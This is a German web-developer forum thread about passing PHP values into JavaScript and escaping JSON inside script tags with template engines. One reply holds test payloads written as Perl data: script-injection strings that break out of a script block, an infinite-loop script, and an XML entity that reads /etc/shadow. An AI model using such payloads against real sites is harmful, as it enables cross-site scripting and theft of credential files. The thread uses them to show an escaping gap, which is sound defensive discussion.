                                                      Der Kontext ist grundsätzlich immer zu beachten. Und daß es, im Zusammenhang mit TE's, mehrere Möglichkeiten gibt, ist hier ja auch Thema. HTML::Template unterstützt z.B. eine automatische Behandlung von HTML Entities wenn das im Template selbst angewiesen wurde. Welches Verfahren jedoch letztendlich zum Einsatz kommt, entscheidet das Unternehmen was Verfahren, Arbeit u.a. Prozesse verbindlich festlegt.

                                                      Persönlich würde ich JSON-Data ja als application/json File einbinden. Da ist der Kontext klar.

                                                      Klar muss sein, an welcher Stelle der Kontextwechsel erfolgt und wer dafür zuständig ist. Aber das ist auch bei einer Trennung von Layout und Programmcode nicht zwangsläufig auch eine Trennung der Zuständigkeiten sondern oft eine Frage der Vereinbarung und des miteinander Reden.

                                                      Und wenn ein JSON String als Platzhalter in ein Dokument vom Type text/html einzubauen ist, verkörpert dieser String nicht etwa einen eigenen Content-Type, sondern fügt sich als Teil des Ganzen ein. Der Kontext ergibt sich daraus, ob dieser String innerhalb eines <scrip>-Elements eingebaut wird oder ins DOM. Da haben wir also zwei verschiedene Kontexte zu beachten die ich heute morgen hier beschrieben habe.

                                                      MfG

                              2. Hallo Matti,

                                <script>
                                //<!--
                                var ROLF.jsData = {$jsData|json_encode};
                                //-->
                                </script>

                                habe ich irgendwas verpasst? Ist irgendein Browser aufgetaucht, der <script> nicht kennt? Dachte, Netscape Navigator 1.0 sei ausgestorben ... vor etwa 25 Jahren.

                                Meine Güte, ist hier an einem Tag viel passiert 😀

                                Dass man Script-Inhalte noch kommentieren soll, hat mich jetzt auch gewundert; ich hatte das als vergammelte Leiche im Keller vergraben. Allerdings verstehe ich auch die Fortsetzung dieses Einwandes nicht - auf das "Habe ich was verpasst" folgte die Diskussion über </script>.

                                Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar </script> zu <\/script>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.

                                Rolf

                                --
                                sumpsi - posui - clusi
                                1. Tach!

                                  Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar </script> zu <\/script>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.

                                  Eigentlich auch wieder nicht, beziehungsweise nur in Browsern, die <script> nicht verstehen. Firefox und Chrome lassen sich mit folgendem Konstrukt jedenfalls nicht aus dem Tritt bringen. Auch ein HTML-Kommentar-Ende mitten im Javascript-Code bring sie nicht aus der Ruhe.

                                  <script>
                                  <!--
                                  console.log('geloggt')
                                  </script>
                                  <i>irgendwas</i>
                                  

                                  dedlfix.

                                  1. Hallo dedlfix,

                                    hm, keine Ahnung was ich da eben für einen Effekt hatte. Ich krieg's nicht mehr hin. Vermutlich war es eine Kombination mit </script> - und dann natürlich kein Wunder.

                                    Rolf

                                    --
                                    sumpsi - posui - clusi
                                2. @Rolf B

                                  Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar </script> zu <\/script>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.

                                  Das Problem ist übrigens ganz einfach lösbar und zwar ohne daß irgendwelche Zeichen maskiert werden müssen und ohne daß am Encoding was geändert werden muss. Für die TE ist da ebensowenig was zu konfigurieren. Also ohne weiteren Programmieraufwand für dieses Verfahren. Steht morgen in meinem Artikel 😉

                                  MfG

                                  1. Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar </script> zu <\/script>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.

                                    Das Problem ist übrigens ganz einfach lösbar [...] Steht morgen in meinem Artikel 😉

                                    Oder heute schon hier im Forum.

                                    1. Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar </script> zu <\/script>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.

                                      Das Problem ist übrigens ganz einfach lösbar [...] Steht morgen in meinem Artikel 😉

                                      Oder heute schon hier im Forum.

                                      Mit ein bischen Überlegung kommt da jeder selber drauf, Stichwort Kontextwechsel.

                          2. @Rolf B

                            wenn ich eine Template-Engine hätte, die im Stande ist, JS in HTML zu erkennen und erforderliche Kontextbehandlungen transparent durchzuführen, dann hätte ich das sicherlich damit gemacht.

                            Wozu sollte eine TE zwischen HTML und JS unterscheiden können? Wenn beides zusammen ausgeliefert wird, ist das alles beides nur Text. Und wenn Du JS~Variablen über Platzhalter einbaust, ist JS der Kontext, z.B.

                            var alltag = {"salute":"Guten <Tag>"};
                                         ^    Platzhalter       ^
                            

                            Wohlgemerkt: Nicht JS sondern nur die JS~Variable wird eingebaut, diese ist immer ein Stringliteral.

                            Für HTML andererseits ist HTML der Kontext:

                            {"salute":"Guten &lt;Tag>"}
                            ^      Platzhalter        ^
                            

                            Also müssen HTML~relevante Zeichen (hier die spitze Klammer) entsprechend behandelt werden. D.h. natürlich, daß es innerhalb eines Templates namentlich nicht dieselben Platzhalter sein dürfen wenn die TE den Kontext nicht unterscheiden kann.

                            MfG

                            1. hallo

                              @Rolf B

                              wenn ich eine Template-Engine hätte, ...

                              Wozu sollte eine TE zwischen HTML und JS unterscheiden können?

                              Gute Frage. Dann testen wir doch die Template-Engine mal?

                              use HTML::Template

                              erzeuge ein Template mit

                              (html hier)
                              
                              <script>
                              //<!–-
                              var ob = <TMPL_VAR SCRIPT_DATA>;
                              //-->
                              </script>
                              
                              (html hier)
                              

                              Dann benutze das Template

                              use HTML::Template;
                              use Json;
                              my $template = HTML::Template->new(
                                      filename => 'javascripttest.tmpl',
                                      # suche die geeignete Option
                                      option   => 'value',
                                  );
                              $template->param(
                                    SCRIPT_DATA => encode_json([
                              	"<!--<script>alert(\"gotcha\")</script>-->", 
                              	"</script>-->!--<script>alert(\"gotcha\")</script>-->", 
                              	"--><script>alert(\"gotcha\")</script>-->", 
                              	"<![CDATA[<script>var n=0;while(true){n++;}</script>]]>",
                              	"<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>",
                              	q{<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>},
                                    ]),
                                  );
                              

                              Und dann benutzen wir die Ausgabe im Browser.

                              Was wohl bei verschiedenen Angaben für Option geschieht? Ich rate einfach mal: HTML::Template ist für diese Art Template nicht gerüstet.

                              --
                              Neu im Forum! Signaturen kann man ausblenden!
                              1. @beatovich

                                Ich rate einfach mal: HTML::Template ist für diese Art Template nicht gerüstet.

                                So ein Unsinn! Überlege Dir besser was Du an encode_json() übergibst. Wo ein Kontextwechsel erfolgt, daß musst Du schon selbst beachten, siehe hier, da gibt es ungezählte Möglichkeiten.

                                Wenn das eine TE nicht kann, heißt das doch noch lange nicht, daß sie dafür ungeeignet ist!

                                Im Übrigen ist HTML::Template dafür geeignet, JS zu escapen.

                                MfG

                                Tipp: HTML::Template kann auch %platzhalter%.

                                1. hallo

                                  @beatovich

                                  Ich rate einfach mal: HTML::Template ist für diese Art Template nicht gerüstet.

                                  So ein Unsinn! Überlege Dir besser was Du an encode_json() übergibst.

                                  encode_json([ "<!--<script>alert("gotcha")</script>-->", "</script>-->!--<script>alert("gotcha")</script>-->", "--><script>alert("gotcha")</script>-->", "<![CDATA[<script>var n=0;while(true){n++;}</script>]]>", "<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>", q{<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>}, ]);

                                  wo ist das Problem?

                                  Wo ein Kontextwechsel erfolgt, daß musst Du schon selbst beachten, siehe hier, da gibt es ungezählte Möglichkeiten.

                                  Wenn das eine TE nicht kann, heißt das doch noch lange nicht, daß sie dafür ungeeignet ist!

                                  Also praktisch muss ich den json-codierten String selber beabeiten. Da stellt sich dann doch die Frage, welchen speziellen Vorteil ein Template hier hat.

                                  --
                                  Neu im Forum! Signaturen kann man ausblenden!
                                  1. @beatovich

                                    Also praktisch muss ich den json-codierten String selber beabeiten.

                                    In Deinem Fall ja.

                                    Da stellt sich dann doch die Frage, welchen speziellen Vorteil ein Template hier hat.

                                    Und hier ist die Antwort: Das Eine hat mit dem Anderen nichts zu tun. Weder ein ESCAPE=HTML noch ein ESCAPE=JS wird Dein JSON Konstrukt sicher machen. Tipp: Guck Dir quotemeta() an.

                                    MfG

                                    PS; Einfaches Beispiel:

                                    use HTML::Template;
                                    use JSON;
                                    
                                    my $template = q(var = %umgebung%;);
                                    my $te = HTML::Template->new(
                                        scalarref => \$template,
                                        vanguard_compatibility_mode => 1,
                                    );
                                    $te->param( umgebung => encode_json(\%ENV) );
                                    print $te->output;
                                    
                                    1. hallo

                                      Und hier ist die Antwort: Das Eine hat mit dem Anderen nichts zu tun. Weder ein ESCAPE=HTML noch ein ESCAPE=JS wird Dein JSON Konstrukt sicher machen. Tipp: Guck Dir quotemeta() an.

                                      nö das da https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions ist relevant!

                                      use HTML::Template;
                                      use JSON;
                                      
                                      my $template = q(var = %umgebung%;);
                                      my $te = HTML::Template->new(
                                          scalarref => \$template,
                                          vanguard_compatibility_mode => 1,
                                      );
                                      $te->param( umgebung => encode_json(\%ENV) );
                                      print $te->output;
                                      

                                      escaping slashes tut nicht das notwendige!

                                      --
                                      Neu im Forum! Signaturen kann man ausblenden!
                                      1. @beatovich

                                        escaping slashes tut nicht das notwendige!

                                        Na dann guck Dir doch mal selber an, was da notwendig ist. Und daß man das alles auch nach Perl umsetzen kann, davon bin ich überzeugt!

                                        MfG

                                        PS: Geht ja doch:

                                        print quotemeta("!"); # \!
                                        
                                        1. Na dann guck Dir doch mal selber an, was da notwendig ist. Und daß man das alles auch nach Perl umsetzen kann, davon bin ich überzeugt!

                                          Das hat beatovich schon getan.

                                          1. Hallo,

                                            letztlich habt ihr im Verlauf des Tages meinen Standpunkt bestätigt: Man muss ganz genau gucken, wo eine Template-Variable aufgelöst wird, und abhängig davon die Kontextbehandlung durchführen.

                                            Eine TE, die das automatisch kann, reduziert Fehlerpotenzial.

                                            Eine TE, die das GAR nicht kann und vom Anwender erwartet, Template-Variablen aus der Programmiersprache heraus passend vorbehandelt bereitzustellen, würde ich als defizitär ansehen. Wenn ich bei der Datenübergabe wissen muss, wo im Template die Daten landen, habe ich eine Abhängigkeit zwischen Logik und Präsentation drin, die nicht sein sollte. Abhängigkeiten zu beseitigen ist immer das Maß der Dinge.

                                            Mein Smarty-Beispiel zeigte eine TE, bei der ich im Template sagen kann, welche Behandlung nötig ist. Das ist zwar nicht optimal, aber immerhin erlaubt es mir die Kontrolle über das, was geschieht und der Code ist vom Rendering entkoppelt. Dass json_encode nicht hinreichend ist, um eine sichere Template-Auflösung für JS zu ermöglichen, hat mich allerdings erschreckt. Aber Smarty ist deswegen nicht tot; man kann Modifizierer selbst nachrüsten und damit die Entkoppelung retten.

                                            Rolf

                                            --
                                            sumpsi - posui - clusi
                                            1. @Rolf B

                                              letztlich habt ihr im Verlauf des Tages meinen Standpunkt bestätigt: Man muss ganz genau gucken, wo eine Template-Variable aufgelöst wird, und abhängig davon die Kontextbehandlung durchführen.

                                              Eine TE, die das automatisch kann, reduziert Fehlerpotenzial.

                                              Eine TE die diesen Anforderungen genüge tun soll gibt es in Perl nicht. Ob Smarty diesen Anforderungen gerecht wird, kann ich nicht beurteilen.

                                              Üblicherweise escapen TE's html und JS, nicht jedoch den Slash und das Ausrufezeichen, was sich aus diesen Anforderungen ergibt. Vielmehr fallen die ebenda aufgeführten Zeichen in den Kompetenzbereich von quotemeta(); also mitnichten in den Zuständigkeitsbereich einer TE die HTML/JS rendert.

                                              MfG

        2. Hallo,

          Aber bitte nicht so,

          Ich gebe zu, dass die Zeile offensiver klingt als das sie gemeint war - sry dafür.

          Ich habe keine einzige Zeile PHP verwendet. [...] Ich habe nicht definiert, wie die Ausgabe zu erzeugen ist.

          Ich habe aus der Ausgabe geschlossen, dass du den Block "per Hand" erzeugen würdest - etwas, wovon ich aus eigener Erfahrung nur abraten kann. Daher wollte ich den Hinweis auf json_encode (analog natürlich andere JSON-erzeugende Konstrukte in anderen Sprachen) geben, um einen kompletten Vektor an Fehlern zu verhindern.

          Wenn du jetzt gesagt hättest, dass mein Code zu einem JS-Fehler führt, hättest du meine Reaktion erspart.

          Ich sage mal nichts zu der Reaktion, da ich sie durch meinen unglücklichen Eingangssatz ja zum Teil provoziert habe. Aber alleine an dem potentiellen Fehler sieht man bereits, dass JS per Hand zu erzeugen i.d.R. der falsche Ansatz ist und von einer guten Antwort (deine Antwort wurde ja positiv bewertet) hätte ich den Hinweis auch erwartet. Aber vielleicht ist ja nur meine Erwartungshaltung falsch, also nichts für ungut.

          /EOT

          Viele Grüße Matti

    2. Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich da mal kurz und bündig aufgeschrieben.

      MfG

      1. Tach!

        Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich da mal kurz und bündig aufgeschrieben.

        Das ist aber nicht JSONP sondern das ganz normale Einbinden von Script-Ressourcen. Die Besonderheit bei JSONP ist, dass der Client dem Server einen Funktionsnamen mitteilt, und der Server Code für einen Aufruf dieser Funktion generiert. Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.

        dedlfix.

        1. Tach!

          Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich da mal kurz und bündig aufgeschrieben.

          Das ist aber nicht JSONP sondern das ganz normale Einbinden von Script-Ressourcen. Die Besonderheit bei JSONP ist, dass der Client dem Server einen Funktionsnamen mitteilt, und der Server Code für einen Aufruf dieser Funktion generiert.

          Genau!

          Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.

          Siehe ebenda unter Erweiterung. Außer Funktionen können auch andere Symbole eingebaut werden wie z.B. Variablen und auch die kann man im Request namentlich benennen. Praktische Anwendung: Webservice Sonne, welcher übrigens schon einen größeren Kundenstamm hat.

          MfG

          1. Tach!

            Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.

            Siehe ebenda unter Erweiterung.

            "Möglich" ist da nicht das richtige Wort. "Notwendig" muss es sein, wenn es um JSONP geht. Ansonsten ist es halt irgendwas, nur nicht das was als JSONP definiert ist.

            Außer Funktionen können auch andere Symbole eingebaut werden wie z.B. Variablen und auch die kann man im Request namentlich benennen.

            Läuft dann aber auch nicht unter JSONP als Begriff.

            dedlfix.

            1. Tach!

              Dieser Teil ist in dem Artikel unbeachtet. Stattdessen wird eine Funktion aufgerufen, die der Server festgelegt hat.

              Siehe ebenda unter Erweiterung.

              "Möglich" ist da nicht das richtige Wort.

              Parabel:

              Privatunternehmer: Welche praktischen Erfahrungen haben Sie?
              Bewerber: Ich habe 10 Jahre lang Steckdosen eingegipst und verputzt.
              
              Privatunternehmer: Schade. Da sind Sie leider nicht qualifiziert genug.
                 Wenn es Schalter gewesen wären, hätten Sie den Job bekommen.
              

              Ist übrigens nicht erfunden sondern Realität in Sachen Fachkräftemangel.

              MfG

      2. hallo

        Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich da mal kurz und bündig aufgeschrieben.

        JSONP? wozu?

        Im überigen handelt es sich um Etikettenschwindel. Mit JSON hat das nichts zu tun, sondern einfach mit einem Request der Javascript aussendet.

        Natürlich kann man bei grösseren Daten ein File mit JSON-Data generieren, und dann eben dieses File referenzieren. Der Vorteil ist dann, dass man den HTML Kontext gar nicht beachten muss.

        Es gibt ja so viele Methoden. Ich habe nur deren 2 mal aufgeführt.

        --
        Neu im Forum! Signaturen kann man ausblenden!
        1. Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich da mal kurz und bündig aufgeschrieben.

          JSONP? wozu?

          Im überigen handelt es sich um Etikettenschwindel. Mit JSON hat das nichts zu tun, sondern einfach mit einem Request der Javascript aussendet.

          So isses. Es kommt darauf an, das Wesentliche zu erkennen!

  2. Hello,

    Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.

    $nummer

    Später wird auf der Seite noch eine javascript Datei aufgerufen.

    In dieser wird eine URL aufgerufen

    url: 'datei.php?id=100'

    statt der 100 möchte ich die Variable

    $nummer

    einsetzen.

    Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?

    Variabel ist der Wert nur innerhalb des PHP-Skriptes. Die Schnittstelle zu JavaScript ist die von PHP produzierte Textausgabe. In dem Moment, in dem Du also die Datei generieren lässt, in der dann auch das JavaScript steht, wird die Variable ausgelesen und ihr Inhalt als Text ausgegeben.

    
    $url = "url:'datei.php?id=$nummer'";  
    echo htmlspecialchars($url);
    
    

    Liebe Grüße
    Tom S.

    --
    Es gibt nichts Gutes, außer man tut es!
    Das Leben selbst ist der Sinn.
  3. hi,

    die PHP Variable kannst Du nicht an JS übergeben aber Du kannst einen Platzhalter für die HTML/JS-Ausgabe einbauen und beim Rendern des Templates diesen Platzhalter mit der PHP~Variablen ersetzen.

    Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.

    Viel Erfolg!

    1. Hi there,

      die PHP Variable kannst Du nicht an JS übergeben aber Du kannst einen Platzhalter für die HTML/JS-Ausgabe einbauen und beim Rendern des Templates diesen Platzhalter mit der PHP~Variablen ersetzen.

      Wahrscheinlich müßt ich lange suchen, um eine noch kompliziertere Erklärung für diesen an sich schlichten Vorgang zu finden.

      Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.

      Und wozu?

      1. Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.

        Und wozu?

        Weil ich das aufgrund meiner Erfahrung so empfehle und weil es einfach zweckmäßiger ist eine richtige Templating~Engine zu verwenden anstatt PHP in HTML einzubetten.

        .

        1. Hallo pl,

          bei der Templating-Engine stimme ich Dir zu; allerdings würde ich eine Trennung von JS und HTML in zwei Dateien immer bevorzugen. Das ist Cache-freundlicher. Und Server-freundlicher, wenn er das JS statisch ausliefern kann und es nicht durch den PHP-Interpreter jagen muss. Größere Mengen JS von PHP (oder Perl, oder C#, oder...) zu erzeugen ist ohnehin nicht sehr freundlich, weil man dann anfängt an Anführungszeichenwahn zu leiden. Und weil der Editor dann mit dem Syntaxhighlighting Schwierigkeiten bekommt. PHP ist dazu gemacht, mit HTML zu kooperieren, nicht mit JS.

          Wenn Du natürlich gemeint hast, dass man die Fragmente mit den seitenspezifischen Informationen für's JS aus dem Template heraus erzeugen soll (also die beatovich Varianten 1-n), dann bin ich wieder bei Dir.

          Rolf

          --
          sumpsi - posui - clusi
          1. hi

            bei der Templating-Engine stimme ich Dir zu; allerdings würde ich eine Trennung von JS und HTML in zwei Dateien immer bevorzugen.

            Darum gehts hier doch gar nicht. Vielmehr gehts darum, Platzhalter mit Werten zu beleben. Und wie performant das ist, hängt von der TE ab. Wobei eine TE natürlich nur für eine bestimmte Scriptspache funktionieren kann.

            Und selbstverständlich kann man auch JS Code oder ganze JS-Dateien über gerenderte Templates ausliefern.

            Platzhalter selbst sind neutral. Ich habe z.B. in jeder Seite im <head> ein Template mit Platzhaltern, ein paar von denen sind:

            <script>var SID = "%sid%"; </script>
            
            %loop_hrefcss% 
              <link rel="stylesheet" href="%hrefcss%" type="text/css">
            %endloop%
            
            
            <title> %title% </title>
            

            und die Werte werden dann zum Ausliefern der Response da reingerendert. Wie zu sehen ist, gibt es einen Platzhalter für die Session-ID, den Seitentitel und eine Loop womit die für die Seite konfigurierten CSS Dateien gelinkt werden. Während die SID am Responseobjekt hängt, wird der %title% per Konfiguration geliefert.

            Nützlich ist z.B. ein Platzhalter %url% z.B. für sämtliche Links die auf die Seite selbst zeigen und natürlich auch für XHR~Issues oder die fetchAPI. Wobei: Sämtliche XHR Requests oder native zu setzende href's mit Parameter zeigen bei mir grundsätzlich auf die Seite selbst in die sie eingebaut sind. Womit auch das action-Atttribute bei sämtlichen Forms entfallen kann aber das nurmalso nebenbei.

            Da macht die Sache sehr flexibel, erweiterbar und auch wartungsfreundlich. Für Seiten die keine Platzhalter haben, kann die TE bzw. das Rendern per Seitenkonfig abgeschaltet werden. Der <head> Bereich wird jedoch immer gerendert.

            Und natürlich sind auch gerenderte Templates cacheable. Aber bitte nicht auf dem Server sondern am Client, also z.B. per Lastmodified/Expires.

            MfG

            1. Hallo pl,

              Und selbstverständlich kann man auch JS Code oder ganze JS-Dateien über gerenderte Templates ausliefern.

              Das man das KANN, hat keiner bestritten. Dass das ein guter Weg ist, schon. Weil die Erzeugung von JS über Templates impliziert, dass sie relativ variabel sind. Und dann ist es nicht gut, sie zu cachen. Ich finde das auch schlecht testbar. Das generierte JS kann ja jederzeit anders aussehen.

              Deswegen ist es MEINE Erfahrung, Code statisch zu halten, ihn ordentlich mit Unit-Tests zu stabilisieren und Daten mit einer möglichst dünnen Nadel zu injizieren.

              Allgemeine Variablen für den Seitenheader sind bei Einsatz einer TE eine Selbstverständlichkeit; das führt uns hier aber zu weit vom Thema ab: Aus PHP Daten für JS bereitstellen.

              Rolf

              --
              sumpsi - posui - clusi
              1. hi,

                Und selbstverständlich kann man auch JS Code oder ganze JS-Dateien über gerenderte Templates ausliefern.

                Das man das KANN, hat keiner bestritten. Dass das ein guter Weg ist, schon. Weil die Erzeugung von JS über Templates impliziert, dass sie relativ variabel sind. Und dann ist es nicht gut, sie zu cachen. Ich finde das auch schlecht testbar. Das generierte JS kann ja jederzeit anders aussehen.

                Natürlich wird man nicht sämtlichen JS Code über Templates generieren. Aber es gibt Lösungen die sind gar nicht anders möglich. Ich habe ja nicht umsonst das Beispiel mit dem %url% Platzhalter gebracht: Während man in Formularen das action-Attribute einfach weglassen kann, ist das nämlich in Sachen XHR und fetchAPI nicht möglich, da muss ein URL notiert sein an welchen der Request gesendet wird.

                Also wird bei mir für diesen Platzhalter grundsätzlich dieser Wert gesetzt und wird zu einer Variablen, die von JS genutzt werden kann. D.h., im Effekt ist es es gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind. Was daran sollte denn da einen Test erschweren? Das Gegenteil ist der Fall!

                Mitnichten sieht da ein JS jederzeit anders aus, vielmehr sieht es immer genauso aus wie es für die jeweilige Seite erzeugt wurde: Einheitlich. Also werden im Endeffekt die Tests sogar vereinfacht!

                Was ja auch der Sinn eines Framework ist. Da wird nicht für jede Seite eine extra Wurst gebraten sondern Platzhalter für alle Seiten zum Prinzip erhoben. So erst wird die Sache einheitlich, wartungsfreundlich und skalierbar: Jede HTML Response ist ein Template. Und die Prozesse zum Einbau von Platzhaltern sind einheitlich.

                Die TE wird also generell geladen, nur der Renderprozess kann abgeschaltet werden wenn er nicht gebraucht wird und das ist über ein Attribut zum URL konfigurierbar. Unabhängig davon ist auch konfigurierbar, ob die Seite gecached werden soll oder nicht. Wenn ich z.B. für Seite /index.html testen will ob ein Lastmodified Header gesendet werden soll, wird der Test zunächst die Konfiguration für diesen URL abrufen. Und wenn da drinsteht:

                [/index.html]
                no_cache = 1
                class = HTMLTemplate
                file = index.html
                interface = date
                

                darf die Response keinen Lastmodified Header senden was mit einem HEAD Request leicht zu prüfen ist. Ebenso können Name der class und der Name des interface abgerufen werden und fürs händische Debugging sind dies Angaben auch gleich im <head> zu finden damit man nicht lange rumsuchen muss wenn mal irgendwas nicht stimmt.

                Und jetzt stell Dir mal vor, der URL für eine Seite wäre zu ändern. Das würde unweigerlich eine Änderung sämtlicher JS Dateien nach sich ziehen in denen der URL fest codiert ist!

                Und mal angenommen, die Seite braucht weitere variable Komponenten in JS. Dann kann man auch mit <script src="%url%?js=ext"></script> ganze Code-Teile für JS dynamisch erzeugen und nachladen und je nach Umständen selbstverständlich auch cachen (Lastmodified). Und wenn eine solche Erweiterung über ein hinzukonfiguriertes Interface realisiet wird, steht dieses interface genausogut für jeder andere Seite zur Verfügung, was also jede Menge redundanten Code vermeidet.

                Du siehst also, die Sache ist doch ein bischen komplizierter als daß man hier Aussagen der Art gut oder schlecht treffen kann.

                MfG

                1. PS:

                  Natürlich wird man nicht sämtlichen JS Code über Templates generieren. Aber es gibt Lösungen die sind gar nicht anders möglich. Ich habe ja nicht umsonst das Beispiel mit dem %url% Platzhalter gebracht: Während man in Formularen das action-Attribute einfach weglassen kann, ist das nämlich in Sachen XHR und fetchAPI nicht möglich, da muss ein URL notiert sein an welchen der Request gesendet wird.

                  Also wird bei mir für diesen Platzhalter grundsätzlich dieser Wert gesetzt und wird zu einer Variablen, die von JS genutzt werden kann. D.h., im Effekt ist es es gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind. Was daran sollte denn da einen Test erschweren? Das Gegenteil ist der Fall!

                  Und auch hier würde die Ausnahme dazu führen daß ein Platzhalter gesetzt wird. Beispiel Konfiguration:

                  [/sunrise.html]
                  xhr_url = http://example.org/sunrise
                  

                  Beim Bau der Response wird der entsprechende Platzhalter in den STASH gesetzt:

                  # Interface Methode
                  sub init{
                     my $self = shift;
                     $self->{STASH}{xhr_url} = $self->eav('xhr_url');
                  }
                  

                  Und schließlich zum Rendern sowohl STASH (Datenversteck) als auch Template übergeben:

                  $self->render($self->{BODY}, $self->{STASH});
                  

                  So daß in der ausgelieferten Response dann das Template

                  xhr.open("GET","%xhr_url%?"+params);
                  

                  zu

                  xhr.open("GET","http://example.org/sunrise?"+params);
                  

                  gerendert wird. Das Bereitstellen von Variablen aus der Konfiguration heraus über Platzhalter in das Template ist also eine ganz normale Sache und sozusagen Alltag im Geschäftsleben eines Framework.

                  MfG

                2. Hallo pl,

                  was für ein Roman. Sorry, das wird mir zu anstrengend. Aber ein paar Anmerkungen kann ich mir nicht verkneifen:

                  D.h., im Effekt ist es es gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind.

                  Stets ist hier ein großes Wort, denn so kann man es machen, muss man aber nicht. Man kann die Ajax-Services, die eine Seite braucht, in ihr implementieren und per URL-Parameter sozusagen abrufen, welche Funktionsvariante man von der Seite haben will. Dein Framework routet das vermutlich transparent. Ohne ein solches Framework würde ich eigentlich zwischen UI und API trennen wollen, d.h. die Requests, die für das HTML zuständig sind, sind eine Kategorie von Script und das, was ich dem Client als API bereitstelle, etwas anderes. In den tieferen Application-Schichten mag es auf das Instanziieren ähnlicher oder gleicher Klassen hinauslaufen, aber eine UI Fassade und eine AJAX-Fassade haben doch unterschiedliche Anforderungen

                  Mitnichten sieht da ein JS jederzeit anders aus, vielmehr sieht es immer genauso aus wie es für die jeweilige Seite erzeugt wurde

                  Hier steckt dein Fehler: Dur würdest das JS nicht allgemein für eine Seite generieren, sondern für eine Seite, die für bestimmte Seitenparameter abgerufen wurde. Die sind userspezifisch, ggf. ruft der User die gleiche Seite mit unterschiedlichen Parametern (z.B. Produkt-ID) ab. In dem Moment wäre Caching des JS falsch. Die Tests, die ich meinte, wären übrigens Unit-Tests, d.h. automatisierte Tests der im JS implementierten Funktionen. Wenn mein Unit-Test damit beginnt, dass er das zu testende Programm erstmal generieren muss, habe ich zwei Test-Ebenen auf einmal: (a) die PHP oder Perl-Ebene, bei der ich testen muss, ob die Generierung korrekt ist, und (b) die JavaScript-Ebene, bei der ich testen muss, ob das generierte Programm das Richtige tut. Wenn aus dem Templating heraus nur ein paar Konstanten gesetzt werden, deren Inhalte keine Abläufe im JavaScript-Teil beeinflussen, kann man die Unit-Tests trennen. Aber dann ist die Generierung des kompletten JS per Template eigentlich Overkill. Wird das Templating komplexer, habe ich Unit-Tests über zwei Sprachebenen hinweg. Grusel...

                  Die TE wird also generell geladen, nur der Renderprozess kann abgeschaltet werden wenn er nicht gebraucht wird

                  Ja. Und wenn er nicht gebraucht wird, hast Du statischen Inhalt - oder? Warum dann über Perl/PHP laufen?

                  Und jetzt stell Dir mal vor, der URL für eine Seite wäre zu ändern. Das würde unweigerlich eine Änderung sämtlicher JS Dateien nach sich ziehen in denen der URL fest codiert ist!

                  Auf die Idee, eine URL in JS fix zu codieren, käme ich nicht. Das wäre ein Fall für Dateninjektion über ein Script-Tag in der HTML-Seite, die das JS einbindet. Für diese Injektion würde ich NICHT das JS über eine TE laufen lassen, um über die (vielleicht fehlende?) Referer-Information die URL einzuschießen (oder über URL-Parameter).

                  Dann kann man auch mit <script src="%url%?js=ext"></script> ganze Code-Teile für JS dynamisch erzeugen

